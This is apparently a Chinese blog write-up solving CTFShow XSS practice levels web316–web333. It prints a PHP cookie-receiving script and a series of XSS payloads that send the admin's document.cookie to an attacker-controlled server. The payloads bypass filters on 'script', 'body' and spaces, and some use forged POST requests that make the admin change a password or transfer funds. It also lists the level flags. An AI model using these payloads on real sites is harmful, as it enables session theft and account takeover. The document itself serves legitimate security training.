CTFShow Web 入门 XSS

芝士香客 2024-07-05 08:03:02 阅读 50

web 316:

写入<script>alert('1');</script>,可以弹框

这关的flag藏在admin管理员的cookie中

在云服务器上写个接收cookie的php的文件,名为cookie.php

<code><?php

echo 'hello';

if(isset($_GET['cookie'])) {

$cookie = $_GET['cookie'];

// 过滤和清理用户输入

$cookie = htmlspecialchars($cookie); // 过滤特殊字符

// 其他可能的过滤和验证

// 写入文件

$myfile = fopen('cookie.txt', 'a');

if ($myfile !== false) {

fwrite($myfile, $cookie."\n");

fclose($myfile);

echo 'Cookie 已成功写入文件。';

} else {

echo '无法打开文件进行写入。';

}

} else {

echo '未提供 cookie 数据。';

}

?>

然后再输入

<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie</script>code>

当将这行脚本代码提交后,稍等片刻,会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接,然后就可以拿到admin的cookie

flag=ctfshow{9c501b87-a597-4443-9bd6-87d752fa3284}

web317:

这一关和上一关一样,但是过滤掉了script,可以使用<body οnlοad="alert(1)">来实现xss攻击

然后输入

<code><body onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">code>

flag=ctfshow{9d14b10e-d44f-4926-9cba-bbc3693f32ca}

web318:

和上题一样

flag=ctfshow{d92630f8-fdc4-47ee-a888-f1b5f60ef79d}

web319:

过滤了script和body,可以用<svg οnlοad="">

<code><svg onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">code>

flag=ctfshow{b0f0f494-d205-4eb3-b379-37c851179e89}

web320:

此题在上面的基础上还多过滤了空格

<code><svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">code>

flag=ctfshow{a257a23e-6fa2-4b53-ad81-f564df299b3e}

web321:

以下一直到326都和上题一样解法

flag=ctfshow{c4aec5b4-9e81-4323-b478-56e7493c2eee}

web322:

flag=ctfshow{44ce31c8-9fa0-4e0a-a9c0-347c20453886}

web323:

flag=ctfshow{f89262ce-5b4a-429e-baf7-bb3f7847ee8d}

web324:

flag=ctfshow{14342443-7f35-47ff-8e17-7ad8c2abe50d}

web325:

flag=ctfshow{290661e7-2d52-4950-b29c-e56a9f1af757}

web326:

flag=ctfshow{0f2a48aa-5bda-4ff0-a942-ec08c19fc5b8}

web327:

web328:

注册用户名和密码都设置为js脚本

<code><script>window.open('http://服务器IP/cookie.php?cookie='+document.cookie)</script>

服务器上接收到admin的cookie

然后再访问用户管理界面,用burp抓包,将cookie改成admin的cookie

ctfshow{62c669e9-8c1e-4dd7-92f7-824a307a64dd}

web329:

和上题一样,但是过滤了script,用<svg οnlοad="">标签

<svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">

拿到admin的cookie

访问用户管理页面,抓包将cookie改成admin的

ctfshow{6c255619-b25f-43fe-a486-6081d9079021}

web330:

这一题用上一题的做法就不行,这一题admin的cookie是一直在变的,而且很快,看到此题还有修改密码的功能,注册个普通账号,在修改密码时抓包

可以利用xss漏洞让admin自己修改密码

然后登录admin账号,密码输入123456

然后抓包访问用户管理页面

得到flag=ctfshow{09efa23e-ba7c-4b0d-98d4-9b0efc87db9f}

web331:

继续创建用户修改密码抓包,发现这次是修改密码是post请求的

将payload修改成post请求即可

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}})</script>code>

flag=ctfshow{c96f442e-48ce-4a50-8e2e-686595c13808}

web332:

方法一:

这道题它代码逻辑有问题,转账的不扣转账方的金额,所以可以一直向自己转账,转的金额不超过自己余额即可

方法二:

可以给admin转-10000

方法三:

直接让admin转自己10000,和上题让admin自己改密码思路是一样的

先用burp抓转账的包

构造payload

<code><script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'tang',a:'10000'}})</script>

然后用payload注册用户

转账成功,购买flag

ctfshow{ae7a9be2-963c-40f9-b10b-4bfebce9ac76}

web333:

和上题一样,除了不能转自己-10000

ctfshow{2a7ad06d-9875-472e-bec6-d7ad70f345e1}


上一篇: 前端Sass详解说明

下一篇: [NodeJS] NodeJS事件循环

本文标签

CTFShow Web 入门 XSS   


声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。